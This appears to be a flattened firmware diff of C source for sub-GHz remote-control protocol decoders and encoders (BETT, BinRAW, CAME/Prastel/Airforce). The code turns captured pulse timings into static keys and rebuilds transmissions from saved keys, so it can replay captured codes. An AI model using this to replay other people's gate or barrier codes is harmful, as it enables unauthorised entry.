||||
(subghz_protocol_bett_const.te_delta * 15)) {
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_bett_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
} else {
|
||||
instance->decoder.parser_step = BETTDecoderStepReset;
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
break;
|
||||
} else {
|
||||
if((DURATION_DIFF(duration, subghz_protocol_bett_const.te_short) <
|
||||
subghz_protocol_bett_const.te_delta) ||
|
||||
(DURATION_DIFF(duration, subghz_protocol_bett_const.te_long) <
|
||||
subghz_protocol_bett_const.te_delta * 3)) {
|
||||
instance->decoder.parser_step = BETTDecoderStepCheckDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = BETTDecoderStepReset;
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
case BETTDecoderStepCheckDuration:
|
||||
if(level) {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_bett_const.te_long) <
|
||||
subghz_protocol_bett_const.te_delta * 3) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = BETTDecoderStepSaveDuration;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_bett_const.te_short) <
|
||||
subghz_protocol_bett_const.te_delta) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = BETTDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = BETTDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = BETTDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_bett_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBETT* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_bett_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBETT* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_bett_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBETT* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_bett_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_bett_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderBETT* instance = context;
|
||||
uint32_t data = (uint32_t)(instance->generic.data & 0x3FFFF);
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%05lX\r\n"
|
||||
" +: " DIP_PATTERN "\r\n"
|
||||
" o: " DIP_PATTERN "\r\n"
|
||||
" -: " DIP_PATTERN "\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
data,
|
||||
SHOW_DIP_P(data, DIP_P),
|
||||
SHOW_DIP_P(data, DIP_O),
|
||||
SHOW_DIP_P(data, DIP_N));
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_BETT_NAME "BETT"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderBETT SubGhzProtocolDecoderBETT;
|
||||
typedef struct SubGhzProtocolEncoderBETT SubGhzProtocolEncoderBETT;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_bett_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_bett_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_bett;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderBETT.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderBETT* pointer to a SubGhzProtocolEncoderBETT instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_bett_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderBETT.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBETT instance
|
||||
*/
|
||||
void subghz_protocol_encoder_bett_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBETT instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_bett_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBETT instance
|
||||
*/
|
||||
void subghz_protocol_encoder_bett_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBETT instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_bett_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderBETT.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderBETT* pointer to a SubGhzProtocolDecoderBETT instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_bett_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderBETT.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
|
||||
*/
|
||||
void subghz_protocol_decoder_bett_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderBETT.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
|
||||
*/
|
||||
void subghz_protocol_decoder_bett_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_bett_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_bett_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderBETT.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_bett_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderBETT.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_bett_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_bett_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,110 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
#include "public_api.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_BIN_RAW_NAME "BinRAW"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderBinRAW SubGhzProtocolDecoderBinRAW;
|
||||
typedef struct SubGhzProtocolEncoderBinRAW SubGhzProtocolEncoderBinRAW;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_bin_raw_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_bin_raw_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_bin_raw;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderBinRAW.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderBinRAW* pointer to a SubGhzProtocolEncoderBinRAW instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_bin_raw_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderBinRAW.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
|
||||
*/
|
||||
void subghz_protocol_encoder_bin_raw_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
|
||||
*/
|
||||
void subghz_protocol_encoder_bin_raw_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderBinRAW instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_bin_raw_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderBinRAW.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderBinRAW* pointer to a SubGhzProtocolDecoderBinRAW instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_bin_raw_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderBinRAW.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
|
||||
*/
|
||||
void subghz_protocol_decoder_bin_raw_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderBinRAW.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
|
||||
*/
|
||||
void subghz_protocol_decoder_bin_raw_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_bin_raw_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_bin_raw_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderBinRAW.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_bin_raw_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderBinRAW.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderBinRAW instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_bin_raw_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,386 @@
|
||||
#include "came.h"
|
||||
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
/*
|
||||
* Help
|
||||
* https://phreakerclub.com/447
|
||||
*
|
||||
*/
|
||||
|
||||
#define TAG "SubGhzProtocolCame"
|
||||
|
||||
#define CAME_12_COUNT_BIT 12
|
||||
#define CAME_24_COUNT_BIT 24
|
||||
#define PRASTEL_25_COUNT_BIT 25
|
||||
#define PRASTEL_42_COUNT_BIT 42
|
||||
#define PRASTEL_NAME "Prastel"
|
||||
#define AIRFORCE_COUNT_BIT 18
|
||||
#define AIRFORCE_NAME "Airforce"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_came_const = {
|
||||
.te_short = 320,
|
||||
.te_long = 640,
|
||||
.te_delta = 150,
|
||||
.min_count_bit_for_found = 12,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderCame {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderCame {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
CameDecoderStepReset = 0,
|
||||
CameDecoderStepFoundStartBit,
|
||||
CameDecoderStepSaveDuration,
|
||||
CameDecoderStepCheckDuration,
|
||||
} CameDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_came_decoder = {
|
||||
.alloc = subghz_protocol_decoder_came_alloc,
|
||||
.free = subghz_protocol_decoder_came_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_came_feed,
|
||||
.reset = subghz_protocol_decoder_came_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_came_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_came_serialize,
|
||||
.deserialize = subghz_protocol_decoder_came_deserialize,
|
||||
.get_string = subghz_protocol_decoder_came_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_came_encoder = {
|
||||
.alloc = subghz_protocol_encoder_came_alloc,
|
||||
.free = subghz_protocol_encoder_came_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_came_deserialize,
|
||||
.stop = subghz_protocol_encoder_came_stop,
|
||||
.yield = subghz_protocol_encoder_came_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_came = {
|
||||
.name = SUBGHZ_PROTOCOL_CAME_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_came_decoder,
|
||||
.encoder = &subghz_protocol_came_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_came_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderCame* instance = malloc(sizeof(SubGhzProtocolEncoderCame));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_came;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 128;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_came_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderCame* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderCame instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_came_get_upload(SubGhzProtocolEncoderCame* instance) {
|
||||
furi_assert(instance);
|
||||
uint32_t header_te = 0;
|
||||
size_t index = 0;
|
||||
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
//Send header
|
||||
|
||||
switch(instance->generic.data_count_bit) {
|
||||
case CAME_24_COUNT_BIT:
|
||||
case PRASTEL_42_COUNT_BIT:
|
||||
// CAME 24 Bit = 24320 us
|
||||
header_te = 76;
|
||||
break;
|
||||
case CAME_12_COUNT_BIT:
|
||||
case AIRFORCE_COUNT_BIT:
|
||||
// CAME 12 Bit Original only! and Airforce protocol = 15040 us
|
||||
header_te = 47;
|
||||
break;
|
||||
case PRASTEL_25_COUNT_BIT:
|
||||
// PRASTEL = 11520 us
|
||||
header_te = 36;
|
||||
break;
|
||||
default:
|
||||
// Some wrong detected protocols, 5120 us
|
||||
header_te = 16;
|
||||
break;
|
||||
}
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_short * header_te);
|
||||
//Send start bit
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_short);
|
||||
//Send key data
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_short);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_came_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_came_const.te_long);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_came_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderCame* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
if(instance->generic.data_count_bit > PRASTEL_42_COUNT_BIT) {
|
||||
FURI_LOG_E(TAG, "Wrong number of bits in key");
|
||||
ret = SubGhzProtocolStatusErrorValueBitCount;
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_came_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_came_stop(void* context) {
|
||||
SubGhzProtocolEncoderCame* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_came_yield(void* context) {
|
||||
SubGhzProtocolEncoderCame* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_came_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderCame* instance = malloc(sizeof(SubGhzProtocolDecoderCame));
|
||||
instance->base.protocol = &subghz_protocol_came;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCame* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCame* instance = context;
|
||||
instance->decoder.parser_step = CameDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCame* instance = context;
|
||||
switch(instance->decoder.parser_step) {
|
||||
case CameDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_came_const.te_short * 56) <
|
||||
subghz_protocol_came_const.te_delta * 63)) {
|
||||
// 17920 us + 7050 us = 24970 us max possible value old one
|
||||
// delta = 150 us x 63 = 9450 us + 17920 us = 27370 us max possible value
|
||||
//Found header CAME
|
||||
// 26700 us or 24000 us max possible values
|
||||
instance->decoder.parser_step = CameDecoderStepFoundStartBit;
|
||||
}
|
||||
break;
|
||||
case CameDecoderStepFoundStartBit:
|
||||
if(!level) {
|
||||
break;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_came_const.te_short) <
|
||||
subghz_protocol_came_const.te_delta) {
|
||||
//Found start bit CAME
|
||||
instance->decoder.parser_step = CameDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = CameDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case CameDecoderStepSaveDuration:
|
||||
if(!level) { //save interval
|
||||
if(duration >= (subghz_protocol_came_const.te_short * 4)) {
|
||||
instance->decoder.parser_step = CameDecoderStepFoundStartBit;
|
||||
if((instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_came_const.min_count_bit_for_found) ||
|
||||
(instance->decoder.decode_count_bit == AIRFORCE_COUNT_BIT) ||
|
||||
(instance->decoder.decode_count_bit == PRASTEL_25_COUNT_BIT) ||
|
||||
(instance->decoder.decode_count_bit == PRASTEL_42_COUNT_BIT) ||
|
||||
(instance->decoder.decode_count_bit == CAME_24_COUNT_BIT)) {
|
||||
instance->generic.serial = 0x0;
|
||||
instance->generic.btn = 0x0;
|
||||
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
break;
|
||||
}
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = CameDecoderStepCheckDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = CameDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case CameDecoderStepCheckDuration:
|
||||
if(level) {
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_came_const.te_short) <
|
||||
subghz_protocol_came_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_came_const.te_long) <
|
||||
subghz_protocol_came_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = CameDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_came_const.te_long) <
|
||||
subghz_protocol_came_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_came_const.te_short) <
|
||||
subghz_protocol_came_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = CameDecoderStepSaveDuration;
|
||||
} else
|
||||
instance->decoder.parser_step = CameDecoderStepReset;
|
||||
} else {
|
||||
instance->decoder.parser_step = CameDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_came_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCame* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_came_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCame* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_came_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCame* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
if(instance->generic.data_count_bit > PRASTEL_42_COUNT_BIT) {
|
||||
FURI_LOG_E(TAG, "Wrong number of bits in key");
|
||||
ret = SubGhzProtocolStatusErrorValueBitCount;
|
||||
break;
|
||||
}
|
||||
} while(false);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_came_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderCame* instance = context;
|
||||
|
||||
uint32_t code_found_lo = instance->generic.data & 0x000003ffffffffff;
|
||||
|
||||
uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
|
||||
instance->generic.data, instance->generic.data_count_bit);
|
||||
|
||||
uint32_t code_found_reverse_lo = code_found_reverse & 0x000003ffffffffff;
|
||||
|
||||
const char* name = instance->generic.protocol_name;
|
||||
switch(instance->generic.data_count_bit) {
|
||||
case PRASTEL_25_COUNT_BIT:
|
||||
case PRASTEL_42_COUNT_BIT:
|
||||
name = PRASTEL_NAME;
|
||||
break;
|
||||
case AIRFORCE_COUNT_BIT:
|
||||
name = AIRFORCE_NAME;
|
||||
break;
|
||||
}
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:0x%08lX\r\n"
|
||||
"Yek:0x%08lX\r\n",
|
||||
name,
|
||||
instance->generic.data_count_bit,
|
||||
code_found_lo,
|
||||
code_found_reverse_lo);
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_CAME_NAME "CAME"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderCame SubGhzProtocolDecoderCame;
|
||||
typedef struct SubGhzProtocolEncoderCame SubGhzProtocolEncoderCame;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_came_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_came_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_came;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderCame.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderCame* pointer to a SubGhzProtocolEncoderCame instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_came_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderCame.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCame instance
|
||||
*/
|
||||
void subghz_protocol_encoder_came_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCame instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_came_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCame instance
|
||||
*/
|
||||
void subghz_protocol_encoder_came_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderCame instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
